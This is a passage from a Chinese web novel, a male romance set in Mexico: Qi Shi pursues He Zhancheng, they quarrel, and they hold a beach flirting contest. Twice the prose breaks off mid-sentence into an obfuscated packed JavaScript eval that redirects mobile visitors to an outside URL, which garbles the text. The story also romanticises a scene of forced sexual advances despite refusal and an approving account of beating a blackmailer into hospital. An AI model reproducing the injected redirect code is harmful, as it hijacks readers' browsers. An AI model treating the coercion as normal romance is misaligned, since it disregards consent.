可恨这个时代太便捷,出差也要开线上会议,他上午下午都忙,只能每天起大早,沿着海岸线晨跑,看看能不能遇上某人出来散步;每天中午去吃不同餐厅,意图制造偶遇;傍晚他再去海里游泳或者在海滩散步,经过无数日光浴躺椅,却没一个是他要找的人。 裴玉说的没错,他确实不了解何湛程,否则,他早该知道少爷是个晚睡晚起、生活作息严重颠倒的夜猫子。 少爷自家有超大露台与泳池,随身携带会做沪上本帮菜的私人厨师,联想起少爷那一身雪白皮肤,就会意识到少爷本身深居简出,鲜少出来晒太阳。若非那夜何棣坤举办的深夜party惹怒了住在他对门的旅客,他大半夜失眠,听到走廊有几个人在议论什么“Chinese”、“super rich young guy”、“name Dikun He”,他断断续续能听懂几句,尤其是“He”的发音很重,和中文的“何”没区别。 他半存疑地去找酒店前台打听同街小路尽头处、那家坐落在半岛上超大海景别墅的主人,用手机翻译和对方一字一句交流,前台抱歉地称她只知道别墅主人是来自中国的富豪,姓何,并提醒他那片半岛浅水湾区是别墅主人的私人活动范围,寻常游客不允许靠太近,然而这几句对他来说就已经足够。 难怪找不到人,他想,原来何老二也这么家大业大。 早上强行给自己补了个觉,醒来冲澡刮胡子敷面膜,一整日口味清淡,傍晚临出门前还嚼了俩小时口香糖。 知道何家哥俩昼伏夜出,他特地等到傍晚日落时分才去别墅附近转悠,然后他就看到何棣坤和何湛程兄弟俩搂着一群男男女女,意气风发地坐着超跑喝酒欢闹,显然又是要去某地嗨皮。 那一瞬间,独他一人被排离在那群人纸醉金迷的繁华世界之外,身处异乡,无限的孤独与落寞如潮水般袭来,他沉默驻足在原地,望着飞驰在沿海岸马路上眨眼就消失不见的炫酷跑车,在“继续追上去”和“离开”之间犹豫了几分钟,最后还是打车追上去了。 出租车当然干不过超跑,在机场转站时,他临时买票也耽误好些功夫,戚时几次跟丢,一下飞机就立刻雇了个会说中文的华裔随行导游,让导游小哥开车带着他去墨西哥城夜生活最丰富的街区,不辞辛苦一家一家娱乐场所不断推门进去找,终于到凌晨四点多,他花光身上最后一点现金,步入那所开在地下的、废旧工业设计风格的超大型夜店,在人山人海的舞池里精准定位到某只怀抱两个男模忘情摇摆的兔崽子。 这一路颠沛流离历经千辛万苦,他怎么还能够再松手? 呵,他必须要把人带回家锁起来! 何湛程好奇问他怎么找到自己的,戚时眼皮也不抬一下,说,纯运气。 何湛程忽地又摘掉他压在头上的棒球帽,问他怎么把脑袋剃得跟高中一样,戚时眼神躲闪,说,我乐意。 何湛程盯了他一会儿,那审视探究的目光搞得戚时很不自在,正借口要回屋补觉,何湛程倏地笑起来,拉着他手,问他要不要去自己房间歇着。 “我房间露台上有双人躺椅和大吊篮,新买的几双限量版联名款球鞋也都还没穿,不去看看?” “不去。” 戚时冷冷地回,然后两只脚十分诚实地跟着那只穿着雪白浴袍的小妖精进屋了。 其时日上三竿,艳阳高照,戚时困得睁不开眼,他一天一夜没睡好,满脸疲惫地踏进屋,正往床边走,忽地又被视野开阔的拱门型露台景观所吸引。 长腿疾步走过去,居高临下,凝神眺望这座岛屿崖下堆积着的黑礁石与无边无际的海浪,心胸无限开阔畅快。 整栋海景别墅装修成地中海风,室内摆着单人暖黄色沙发,墙面装饰着船锚壁画与蓝白陶罐,戚时斜身倚在阳台,一抬胳膊,肌肉紧实的小臂拂过一层薄薄白色半透明的亚麻帷帐,习惯性绷紧的神经瞬时松懈下来。 脚底露台铺着海蓝色马赛克几何图案地砖,偌大藤编躺椅铺着粗糙拼布艺坐垫,正对着脚底蒂芙尼蓝色的浅湾美景,洁净的米白色墙面攀爬着绿藤植被,右墙角落一棵橄榄树旁轻轻晃荡着架巨型摇篮……赤陶色的树盆,悬挂在檐下晃动的珍珠贝壳风铃,矮木桌上的铁艺烛灯颈被调皮的屋主人系了两条大航海图案桑蚕真丝带,斑斓蝴蝶一样迎风飞舞。 太过惬意的度假生活,戚时晒了会儿太阳,倦意袭来,转身踱步回室内,忍不住瞥一眼床头柜前摩洛哥风镂空金属架支撑起的彩色玻璃罩台灯—— 嗯,这玩意儿全靠一根镶金粗铁丝扭成,打人不疼。 然后放心踏实地闭上眼,一头扎进某人那张喷香柔软的大床里,埋脸在人枕头里猛吸两口气,扭头冲一进门就跑去里屋翻箱倒柜的兔崽子喊一句“你鞋直接装好拿出来就行了,咱俩鞋码合适,我就不试了!”,接着,听着窗外传来的阵阵海浪声,安详地拉过被子昏迷过去。 似乎睡了两三分钟,又好像过了两三个小时,身旁人一直没动静,全世界又剩下他自己,戚时在沉睡中愈发惴惴不安,猛地睁眼醒来,从床上腾地坐起,正准备再跑去外面找人,一转眼,兔崽子正支着胳膊倚靠在他枕边,浴袍半裸不穿,露着大片胸前雪白肌肤,面若桃花般冲他风骚地笑。 “老婆,你刚才在梦里喊了三十五遍我的名字。” “哦。”戚时面不改色地又躺了回去。 看来他至少睡了三个小时。 习惯性伸出胳膊,正想把兔崽子揣怀里狠狠嘬两口,蓦地察觉哪里不对,戚时定神一看,他戴在两只手腕上的手表和手串全被摘走了! “手串我放起来了,那不是你该拿的东西,”何湛程脸色变得倒快,笑意深不见底,“手表我也帮你摘了,因为想送你一个新的。” 说着,扭身从床头柜上拿出两块外形差不多的机械手表,表盘如星盘,一个是暗红色闪电纹,一个暗蓝色闪电纹,轴心是两半颗心,很普通,市面常见三四百块的东西,但—— 这显然是一对情侣手表。 “看看,喜不喜欢。” 戚时不懂何湛程要搞什么鬼,伸手接过戴在腕上,头也不抬地哼声问:“你不是桃花正旺呢么,怎么不给你那两个男朋友戴?” 何湛程懒得理戚老二这些小心思,自己也利落地戴上手表,疾速发问:“你说你刚到第一天就找到我了,这话真的假的?” 戚时辗转抬臂,认真欣赏着他的便宜货新手表,毫无心机地回答:“真的啊。” 何湛程冷不丁就被一股猛烈的电流灌入手臂,如重针创骨,惊得人心脏一跳一跳。 何湛程脸色变得极臭。 许若林那个骗子,说好电流不强呢!他整条胳膊都麻了! 但初次实验有了心理准备,何湛程清清嗓,又快速问:“你喜欢我么?” 戚时恶笑着俯身凑过来,獠牙一露,在何湛程下巴重重地咬了一口,留下两排整齐的齿痕。 “喜欢死了,不然我为什么来找你,嗯?” 这下倒没被电,何湛程愤愤抬手擦掉下巴上的口水,但他搞不准这种阴阳怪气的语调更偏向真心还是假意,于是干脆问:“那你爱我吗?” 戚时讶然,看怪物似的盯他:“青天白日的,你想什么美事儿呢?” 何湛程瞪着眼直板板地躺倒在床上没吭声。 他被这猝然猛烈起来的电流电得说不出话,脑袋几乎都要冒烟儿了。 好半晌,戚时见他不太对劲,凑过来拍两下他脸,问他咋了,又笑道:“至于么,伤心成这样?” 何湛程抽搐两下,呛了口气,立刻扭头问:“你嫌我脏么?” 戚时抚在他脸庞的手指一顿,笑容淡下去。 “你是大少爷,我哪里还敢嫌弃你?” 何湛程默然。 他整条胳膊都被电得没知觉了,神经也渐趋麻痹,他咽了咽突然有点干涩的喉咙,安静在原地缓了好半天,然后摘下尚自涌动的手表,摔回床头抽屉里,起身就走。 戚时还是在介意。 戚时凭什么介意? 身后人拦腰一搂,何湛程猝不及防,整个人摔进戚时怀里。 男人倾身压上,乌云般将他笼罩,密密麻麻的碎吻雨点般落在他耳边,嗓音喑哑:“程儿,随便你的心分给谁,但你人得是我的,这是我们一开始就说好的,你和我睡过了,就得做我的人。” 浴袍被剥下,两|腿被分开,戚老二硬往里挤,何湛程一股无名火充斥胸腔,立刻愤怒挣扎起来。 “不是我和你睡过了,是你被我睡过了!你没资格跟我谈条件!还不快放开我!” “不放,”戚时将他四肢钳制住,沉眸盯他,“这是你欠我的!” “你情我愿的事,”何湛程瞪他喊,“没什么谁欠谁的!” 戚时冷笑,猛扑上去咬住他嘴,强迫身下人同自己接吻。 “那就算我欠你的,一千次一万次,先赊两周的,随便你记我账上!” 何湛程紧闭着眼,倔强地别过脸:“我不!” “由不得你!” 戚时大力捏住他下巴,逼他张嘴,命令道:“舌头伸出来。” 何湛程冷着脸,死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409047|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板一条,不肯理他。 戚时掌心四处游离,故意骚扰他的**,身下人越强装冷淡,他就越妒火中烧。 一双喷火的眸子隐怒笑着,讥讽道:“动啊,怎么不动了?之前不是挺骚的么?身子都熟透了,还说没在勾引我?还是你在想别人?嗯?是在想许若林?还是在想你那些模样稀奇古怪的男宠?他们有老子长得周正?有老子懂你哪里最想要?” …… …… 何湛程身躯微微颤栗,眉头紧蹙,牙齿咬得死紧,不松半句口。 他并不是敏感的人,却完全抵御不了戚时的挑|逗,盛怒之下,居然还能对这个畜生有反应,他自己也羞耻万分。 可这是唯一一个!唯一一个他给过机会将自己压在身下的男人,当初百般依从,极尽所能地去取悦,现在,那几分真心的情谊却成了对方挖苦嘲讽自己的倚仗,好啊,他何湛程终于自食苦果了,可他不在乎自己将要遭受什么,他只想一刀把这个狗男人给捅死! 千疮百孔都不足够!! 身子任人折叠摆弄,滚热的泪珠就这么屈辱地从眼尾流了下来,何湛程面无表情一动不动地躺在戚时身下,像具没有感情的死尸,那张总笑意迷离的脸,忽地化作一颗无比骇人的骷髅头,黑黢黢的眼洞里,穿插过冷漠无情的水流。 犟种。 犟脾气。 偏偏又令人拿他没办法。 戚时心疼不已,连忙偃旗息鼓,替何湛程穿好衣服,将人轻轻抱在怀里,不敢搂太紧,怕人喘不过气,又不敢搂太松,怕人突然脾气发作又干他一顿。 只好手掌不停揉着对方头发,软声哄: “崽儿,哥错了,我们不哭了,不哭了……” 何湛程哽咽一声:“你是傻逼。” “我是傻逼,我当然是傻逼!”戚时连忙道,“我从小就是傻逼!” “你该死。” “我当然该死!”戚时替他愤愤喊:“我不该死谁该死?” “那你就去死啊!”何湛程怒声咆哮出来。 “我本来想死的,”戚时叹了口气,“又怕你心疼,我舍不得。” 何湛程:“……” 何湛程埋头在戚时胸膛吸了两口气,将眼泪全蹭人衣服上,终于缓过劲儿来。 然后猛地蹿起身将人扑到,伏身张嘴就对着戚时的右肩膀咬了下去。 戚时早有预料但来不及反抗,他洗完澡后只穿一件薄薄的无袖黑背心,大片肌肤裸露在外,何湛程这属狗的心太狠,一点都不知道疼他,他肩膀在转眼之间被咬出两排血淋淋的齿痕。 “嘶——”戚时疼得皱起了眉,忍不住抬手捂住伤口。 何湛程坐起身,两腿跨在他腰间,冲他甜甜地笑着,本来有几分俏皮的犬牙上沾着几滴血,又显出几分狠辣阴鸷来。 戚时瞪他:“这下消气了?” 何湛程哼一声,不理他,起身下床就往外走。 戚时盯着兔崽子那两条白得发光的小腿,皱眉问:“大中午的衣服都不换,上哪儿去?” 何湛程拧开门,头也不回地踏入走廊:“你管我,我找我的亲亲男朋友发骚去。” 戚时蹭地从床上跳起来,鞋都来不及穿,疾步冲过去一把将人拎回来墩屋里,大门砰地一关,横身堵在门口,抱臂瞪他:“我还没死呢!” 何湛程舔了舔牙,冷笑:“臭不要脸,我们早就分手了。” 戚时也冷笑:“我也没说我是你男朋友啊。” 何湛程眉心一沉,正要开口,就听对方趾高气扬地说:“我说了,我们是新型奴隶主和奴隶的关系,你敢再跑一个试试?” 何湛程气笑了,抬腿就给他一脚:“你无不无聊,我没同意,这事儿不算!” 戚时有点恼:“你已经答应过要跟我回燕京了!” 何湛程一脸无所谓:“我胡说八道的。” 戚时磨着牙笑:“我不管,反正我当真了。” 何湛程认真严肃道:“戚时,我真的没法跟你走,你当真也没用。” 戚时一顿,不太情愿地问:“怎么,你在这边有事?” 何湛程拨指一撩刘海,潇洒道:“对啊,我男朋友们都在这边啊,我这个做老公的怎么能离开啊?” 戚时一口白牙咬得稀碎,说:“行。” 何湛程挑眉:“嗯?” 戚时伸出手指,一下下戳着对方眉心,将何湛程脑袋点得跟个不倒翁似的,恨恨道:“何老三,你给老子等着瞧,别以为全世界就你是个宝贝似的。” 何湛程不解:“什么意思?” 戚时狞笑一声,扬手一撩背心,啪的甩在何湛程脸上,赤着膀子露一身结实腱子肉,推开门,昂首阔步就往外走。 “既然你这么喜欢嘚瑟自己有人爱,那咱俩就比比,半天之内,谁勾搭上的人最多。” 39. 第39章 何棣坤戴着墨镜,正哼着歌,驾驶着一架通体漆黑的直升机,从私人岛屿往坎昆沙滩的别墅天台上飞。 不经意间,余光一瞥,鹰隼般的目光瞬间锁定距别墅五里外、那片游客密集的白色沙滩。 他探头眯了眯眼。 一座红条纹巨型遮阳伞下,并排铺着白毛巾的两张日光浴躺椅,两个正喝酒晒太阳的、没穿衣服的半裸男。 左边裸男,一条湿淋淋的包臀紧身黑泳裤;左边裸男,微风吹动菊花碎蓝底大裤衩。 一个青皮寸头,一个爆炸鸡窝头,正分别惬意地伸展着他们的两条白亮大长腿,面带微笑地享受着,这份不断有路人游客过来搭讪他们的美好下午时光。 黑泳裤仰头喝着冰镇啤酒,菊花蓝裤衩手里摇着一杯冒泡香槟,二人桌边摆着美酒鲜果,纸、笔、垫纸板,及两台播着黑屏白字计数器的iPad。 每向他们走来一个搭讪者,黑泳裤或者菊花碎蓝裤衩就抬手在iPad增加一个数,双人并肩而躺,不时闲聊两句,举杯相碰,顺便互相监督。 各自手边摆着装半满的马赛克玻璃啤酒杯,专门用来压搭讪者递来的电话纸条,省的对方作弊。 但又为了避免两方见色起意,背着自己偷偷跟路人甲乙丙搞在一起,二人就游戏规则达成高度一致: 规矩是,俩人只准收电话,不准把自己的电话给出去,时间截止到傍晚六点十五开始退潮,二人将自己收到的纸条交给对方手里,核对数目。 胜者,有权决定是否让菊花碎蓝底大裤衩跟黑泳裤回国。 所以—— 戚时沉眸喝了口啤酒,舔了舔沾着啤酒花的嘴角,心想,这不只是一场魅力的较量,更是关乎他接下来的幸福。 如果不能把何湛程带回去天天给他刷马桶,他戚老二的人生还有什么意义可言? 他势必要将人弄到手!! 戚时蹭地站起身,甩手扔掉干毛巾,站在沙滩上活动筋骨,准备开始他第二轮沿海岸游泳表演。 他三点半开始的第一轮游泳,刚出水就立刻吸引来十个爱慕者,当时何湛程趴在椅子上发懒睡觉,半天才收集了两个电话,然后兔崽子就学着他模样,也绕着沿岸游了一圈,马上收获九个搭讪者,一直持续到现在,偶尔有人来搭讪他,也偶尔有人来搭讪兔崽子,数量倒很平均,导致对方纸条数永远比他多出一个。 正要走,腿还没迈出两步,就听身后人劝他:“二哥,别去了,这会儿水太凉了,万一感冒就不好了。” 戚时纳闷何湛程怎么突然这么关心他,心里还有点小感动,扭头笑说:“没事儿,我身体好,不嫌水凉。” “我嫌,”何湛程颇为无赖地晃了晃脚丫子,说,“我不想去了,你也不准去,不然我就随便给谁打个电话,让他们过来帮我全身擦防晒霜。” 戚时:“……” 他就知道!!! 但见对方满不在意地说这种话,他不免又有点伤心。 他不是那种介意交往对象有过去的人,介意现任有前任,一听就是那种几把很短、缺乏自信的小米粒男人做派。 当初他刚和蒋灵在一起时,蒋灵前男友拿着她的几张私密床照给他发短信,张口就是两百万,他没报警,好脾气地把那小子约出来,抄起他最衬手的钢棍,连揍带抢的把人打进了ICU,扔下五百万医药费,派专业诉讼律师拿侵权合同堵住那小子的嘴,干脆利落地替她把污点抹掉。 他从未和蒋灵提起,她也没必要知道。 他只要求他们在一起时,她眼里、心里都有他,这就足够了。 但何湛程却从不把他戚时放在眼里。 少爷太年轻,也太狂妄,家大业大,背景雄厚,即便胡作非为,也有一堆人跟在他屁股后面替他兜底,无条件保他平安。 在沪上惹了某省长的表侄,少爷就能跑到燕京来求他戚老二的庇护,在燕京惹毛了他戚老二,转眼就坐着私人飞机跑来墨西哥找他那位脾性更不好惹的二哥度假。 枪口面前,谁敢惹? 无法无天,更无人能约束得了他。 二十来岁,一个成年雄性X欲最旺盛的年纪,少爷与人做.爱如日常穿衣吃饭,张口闭口就是在和谁谁暧昧、想和谁谁上床,一张迷离笑脸千变万化,不负责、不承诺、更不讲理,当初他鼓起勇气说在一起,何湛程百般怜惜地抚摸着他脸,想也不想就应了,可那晚和他刚亲热完还不到两分钟,这人就又跑去和许若林卿卿我我。 那他呢? 他算什么? 少爷胯|下千万个男宠中的一个么? 何湛程究竟懂不懂,他在意的真的是许若林吗? 可就凭少爷那宁死不改的臭犟性子,他也只能说自己在意的是许若林了。 戚时没再往海边走,转身低头捡毛巾甩在肩上,在旁边人得意目光的注视下,拿上手机,头也不回地往别墅那边走。 “程儿,咱俩就到这儿了,你玩儿吧,我先回了。” “干嘛,这就走了?”何湛程颇为扫兴,起身扒着椅子冲人背影喊:“你怎么这么没志气,再多等会儿呗!说不准过几小时你纸条就比我多了呢!” 戚时缓缓回头,平静地和他对视,一字一顿地说: “我说,咱们结束了,我要回燕京了。” 何湛程愣住在原地,扶在椅子上的十根手指微微发抖,他咽了咽喉咙,有点无措道:“那、那……” 他不知道自己要说什么。 可,他本来不就希望事情这样发展么? 戚时,这个他何湛程本以为是生平最难泡的男人,终于还是让他泡到了。 他亲到了这个男人的嘴,摸过了这个男人的身子,他们两人有过一段亲密无间的时光,所有该干的、不该干的,他们也都干过了,如今,曲终人散,他何湛程又在不舍些什么? 不—— 他很快就意识到了。 没有流下过真心眼泪的分手,不是一件好的艺术品。 何湛程倏地攥紧椅子,瞪着远去的人,冲人喊:“你走呗!你走了才好呢!你走了,我才能和我的男朋友们开心快活呢!” “随便。” 男人背影笔直而硬挺,平静声线波澜不起,似乎任何风吹浪打都牵动不起他一丝一毫的情绪。 这才是戚时,真正的戚时。 一个位高权重掌控整个集团的上位者,才不会拘泥于儿女情长。 何湛程按捺下心中突然涌起的倾慕之情,猛地扭过头,抓起手机就给他二哥打电话。 “喂,”他二哥那边传来轰隆隆的嘈杂声,冲他笑喊,“真是稀罕了,你小子忙着谈恋爱咋还有空惦记我啊?” 何湛程忍着脾气,问:“刚才天上飞过去的那只傻鸟是你么?你监工回来了?” 他二哥:“对啊,我正在天台降落呢,你有事儿?” 何湛程冷哼一声,说:“一分钟内,你叫人把戚老二那间客房锁死。” 他二哥笑了,一眼看穿出情况:“咋啦?你俩吵架了?他受不了你了,想带着行李跑路啊?” 何湛程阴着脸:“那你去不去?” 他二哥似乎敬了个礼,回声洪亮:“Yes,sir!半分钟内做到!” 砰的一声,路旁椰林晃动着几只浣熊的尾巴,树上突然掉落一颗脆壳大椰子,无人理睬。 戚时赤着脚,全身上下就一条刚遮到大腿根的黑色泳裤,贴着膏药的右肩搭着条白毛巾,他一脸平静地推门走进何棣坤海景别墅前院的大花园,正在浇花的园丁和两个抱着洗衣盆路过的女佣热情地问候他,戚时谁也没搭理,大步直奔楼内。 头顶天台嗡嗡响着,停着何棣坤那辆噪音渐小的直升机,戚时无心上去欣赏,在一楼客厅外间拐角按了电梯,给茉莉打电话,让她给他订机票回国。 茉莉:“好的,您那边事情是处理完了吗?” 戚时:“没处理,也不用处理了。” 他现在唯一需要处理的就是自己几近疯掉的情绪。 即便如此,也比强行修正那位顽劣到骨子里彻底没救的纨绔少爷好一百倍! “还有一件事。” “嗯,您说。” 戚时走进电梯,抬手摁三楼键:“你联系一下航空公司,我要买架飞机——不,两架,一架飞机和一架直升机。” 茉莉那边沉默几秒,然后试探问:“戚总,无论从一次性|交易价还是后期养护来看,这都是一笔不小的数目,我想冒昧问一下,您想买飞机是打算用来?” 戚时:“上班。” 茉莉:“……” 戚时出电梯,一边疾步往自己房间走,一边理所当然地说:“京城堵车这么严重,老子想开架直升机上下班咋啦?至于飞机,嗯,以后出差方便。” 茉莉劝道:“戚总,京城上空是不会允许您随便乱飞的,您这理由说不通,董事长那边也不会——” “不用跟我哥说,”戚时打断道,停在门口,拧了两下把手没拧开,皱了下眉,说:“老子又不是没钱,算我私人的,京城不让乱飞,老子去别处飞不成么?老子去大草原上飞不行?” 茉莉无奈:“您现在情绪似乎不太稳定,等您回来我们再议吧。” 戚时气得砰一拳头捶上门:“你是不是想造反?” 茉莉顿了顿,突地犀利发问:“戚总,您是去找三少了吧?你们是又吵架了吧?您脸上的伤也是让三少给打的吧?还有您的头发,实在太显年轻了,但不太符合您现在的身份,为集团形象着想,我建议您从今往后还是继续留短发吧。” 戚时:“……” 扔下句“别忘了帮我买票”,火速挂断电话。 环顾四望,正准备上哪儿找个铁锤子,把这突然不好使的破门给砸了,何棣坤一身迷彩军靴,耳根后别着支烟,长臂一抡,肌肉暴涨,拽五楼扶栏往里一荡,动作敏捷地跳进来三楼走廊。 何棣坤气定神闲理了理衣摆,两手插裤兜,一脸笑意地朝他走来。 “弟夫,怎么了,发这么大火儿,心情不好?”头一歪,招呼着:“走,咱哥俩楼下喝点儿?” 戚时立刻幻视自己和何老大的初见。 九天前,他怒气冲冲站在何家门口要人,喊得口干舌燥,嗓子都哑了,临近傍晚,终于大门缓缓打开,何闽轩西装革履出现在院子中央,姿态完美得像幅人像画一样,遥遥望着他,一脸平和笑意。 那老狐狸伸手往里一摆,说:“时兄千里迢迢的来,别因为一点小事就伤了咱们之间的和气,走吧,我请你喝茶。” 何老大跟何老二,一个请喝茶,一个请喝酒,一个故意晾他半天才姗姗来迟,一个故意使坏锁他卧室门不让他走—— 呵,这俩人都不是什么好鸟! 当然,何湛程,何老三,青出于蓝而胜于蓝,取两位哥哥之糟粕,摒两位哥哥之精华,那就更不是什么好鸟了! 戚时沉着脸,盯着何棣坤,眉间浮起几分真怒:“我不清楚,原来这就是你们何家的待客之道?” 何棣坤“哎呀”一声,哥俩好似的搭上他肩膀:“弟夫你看这话说的,多见外啊!你又不是客人,你是我们何家人啊!” 戚时不客气甩掉人胳膊,冷声呵斥:“滚开!谁是你们何家人,你赶紧给老子把这破门打开,咱们再也不见!!” 何棣坤轻啧一声,倚身靠在墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409048|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,低头燃上支烟,余光上下瞄他两眼。 打量的视线从头到尾,再从脚到头,忽地,轻喷一口烟,笑着又啧一声,然后,冲戚时竖了个表达赞赏的大拇指。 戚时被何老二这赤裸又轻挑的目光给羞辱到了。 同为无赖,戚时深知自己跟这人硬碰硬没好处,只好强憋着火气,瞪着对方:“看完没,看完就给老子把门打开!” 何棣坤聋子似的,懒懒软塌着肩膀,手指夹下烟,扭头问他:“你怎么称呼我?” 戚时冷冷道:“何棣坤。” 何棣坤眯起眼,连忙晃晃食指:“No,no,no,弟夫,我之前告诉过你的。” 戚时翻了个大白眼,心想这一大家子都是神经病,压制着脾气说:“我跟你弟弟已经没关系——不,我们从一开始就不是恋人的关系,所以不管你是起哄也好,还是误会了什么,现在都已经没有必要。我现在是以你何家客人的身份,请你帮我把门打开,咱们不是一个世界的人,我现在只想回到属于我的地方。” 何棣坤笑了,从裤兜摸出盒黄金叶,抽出一支烟递过来。 戚时莫名其妙,接过来叼嘴里,伸手找他要打火机。 何棣坤亲自过来给他打火。 “这些天,他很想你。” 戚时叼烟的动作忽地一颤,随即淡笑:“那又怎样?” 何棣坤挑眉:“你不了解他,他这人从不——” 戚时冷笑:“我当然不了解他!我如果了解他,我从一开始压根就不会碰他,更不会让他碰我!” 何棣坤冷眼睨着他:“说完了么?” 戚时莫名心虚:“说完了。” 何棣坤夹烟的手指虚抬起,隔空指他一下:“我说话的时候,不喜欢被人打断。” 戚时也终于上火了,沉声反问:“所以呢,你想说什么?当哥哥想哄弟弟开心,把一根烂透顶的红线硬栓到我的手里,睁着眼说瞎话,告诉我他何老三这种滥情的人有多喜欢我、多想我,把老子骗得回心转意了,好让老子继续回去被他玩弄于股掌之间,这就是你们何家人的作风!自私自利,无情无义!你当我戚老二是傻子吗?我他妈吃你这一套?!” 何棣坤语气颇为随意:“我管你吃不吃这一套,我只信自己看到的。我在还没见过你的时候,就已经认识你了。” 戚时猛吸两口烟,重重吐出浓雾:“少放屁,你从哪儿认识我?” 何棣坤笑:“从他的眼睛里。” “……” “老三其实很怕无聊,他的眼睛总是无神的,尤其无聊的时候,整个人死气沉沉的,好像随时会腐烂掉。”何棣坤吸了口烟,缓缓吐出,讲述道:“但最近他好像就没无聊过,哪怕他一个人待着,他那双眼睛也总是朝虚空里看着什么,完全沉浸在某处,一点也不像他。我送礼物给他,他也不和任何人亲近,再漂亮的女人,再英俊的男人,他都放不进眼里,所以我猜,他一直想着的应该是某个人。” 戚时立刻就破案了,又一拳砰地捶在门上,冲人恶狠狠道:“我说呢,程儿长得这么乖,怎么年纪轻轻就这么混账呢,原来是上梁不正下梁歪,他抽电子烟也是你这个好哥哥教的吧?!” 何棣坤耸耸肩:“他成年了啊,成年人玩玩就玩玩了,而且老三远比你想象中要聪明,他自己有判断是非的能力,烟也不是我主动给他的,是他看到我在院里抽,突然走过来找我要,我没给,拿了个电子烟给他玩儿,这已经算很负责任了好吧?” 戚时眉头紧锁,好容易安放下去的心,又被人三言两语给吓得紧紧提了起来。 一腔熊熊热烈的正义火焰在他胸膛里愤怒地燃烧。 他怎么能把他家程儿继续放在何老二身边? 程儿如果一直跟着何老二,那肯定是要会学坏的! 戚时当机立断,对人道:“我不走了,程儿跟着你,我不放心。” 何棣坤讶然:“不是,你怎么能这么快就妥协啊?我还有两篇八百字腹稿没讲完呢!还有,老三跟着我咋啦?天天吃香喝辣的,我哪里亏着他了?” 戚时无语至极,下巴冲大门一抬,催促;“快把门打开,老子要被冻死了。” “不行,万一你骗我怎么办?”何棣坤下巴也一抬,冲隔壁房间道:“你去穿他的衣服。” 戚时皱眉:“你知道他房间密码?” 何棣坤脱口而出:“199816。” 戚时脸上腾地一红,转身就去开门。 身后人嘎嘎贼笑:“弟夫,这是你生日吧?我记得你比我大三岁来着。” “你也知道老子比你大三岁啊,一口一个弟夫,没大没小!” 戚时深觉何老二比何老大要讨人厌百倍,甩手就把门摔上,趿拉着拖鞋,在何湛程令人眼花缭乱的潮装衣帽间里拿了件黑T恤和运动裤套身上,又挑了件薄棉卫衣和长裤,塞了双棉袜子在兜里,急急推门出去。 何棣坤还靠在走廊墙边抽烟,见他出来,上下打量他一番,笑得很欠抽。 戚时不耐烦道:“又怎么了!” 何棣坤唇角一勾,摘下嘴里烟头,对着戚时,在半空连续画着一个又一个心形烟圈,然后逐一点破。 “天冷了,我们家老三还在外头冻着,本打算提醒弟夫你快去海边献个殷勤,没想到你比我想象中要懂事。” “废话!”戚时一把将他推开,大步往电梯里走:“老子比赛还没结束呢,当然要回去了!” “比赛?搭讪比赛吗?”身后人好奇问:“筹码是什么?” “你弟。” “哦,那如果他赢了呢?” “在这场游戏里,不管谁输谁赢,他都得是我的。” 40. 第40章 戚时拿着何湛程的衣服原路返回,步速一会儿慢,一会儿又快,直到靠近那片白色沙滩,他抬眼眺望,那座红条纹巨型遮阳伞沿缀着黄条流苏,木质躺椅尾处歪着两只白白的脚。 是两只长着莹月般的漂亮足弓、足背泛着淡青脉络的大脚丫,闲着没事就喜欢胡乱晃荡,赤脚踩在沙子里时,就像雪白珍珠灌入进了泥,连每根脚指头都那么可爱性感。 戚时咽咽吐沫,脑子乱哄哄的,想起出门前随口与何棣坤立下的赌约—— 如果他真的能把何湛程拿下,何老二就送他一架私人飞机; 如果他没有能令何湛程变专一的本事,他从哪来就滚哪儿去。 虽说何家势力庞大,何家三兄弟各有所长,但他戚老二也不是素的,区区一架飞机,几栋滨海别墅,戚时才不会把何棣坤逗狗似的诱惑放在心上。 只是,何棣坤为他提供了新思路,他又觉得捉弄一下兔崽子也无妨。 谁让兔崽子隔三差五就遛他? 他现在就要让何湛程瞧瞧,谁才是真正的渣男! 兔崽子正窝在躺椅里发呆出神儿,人其实比在燕京时瘦了许多,五官逐渐锐利,鼻梁高翘,淡唇紧抿,一双深眸若万里寒星,衬得整个人愈发矜贵清冷。 有个金发绿眼的青年过来搭讪,兔崽子聋了似的,面无表情地盯着浪花涛涛的海面,眼睛都不眨一下,搭讪人被晾在一边,自讨没趣,将那杯插着薄荷与柠檬的鸡尾酒放他桌边,转头走了。 戚时眉头诧异一挑。 他还以为何湛程接下来是真打算找个俊男或者靓女,故意带回家和人上床气他,没曾想这人背地里居然这么冷酷决绝,还……挺帅的。 一点也不像那只会挽着他胳膊撒娇吐舌头的小妖精。 用来计数的两个iPad都某个暴躁的人被摔进了沙土里,纸条随风飘飞,早刮得到处都是,戚时俯身将iPad捡起,幸而海滩柔软,东西没摔坏。 他迈着步子,立在何湛程面前,伸手将iPad都平整放回茶水桌上。 何湛程假装没察觉他来,视线偏移几寸,扭脸看向另一边的大海。 戚时脸上也不做任何表情,将怀里衣裤抛到人怀里,又从兜里掏出双棉袜,扔过去,一副公事公办的语气:“你哥让我给你带的,天冷了,他叫你回去。” 何湛程冷声道:“干什么叫你来?他那些佣人呢?他手机呢?他有话自己不会说?” 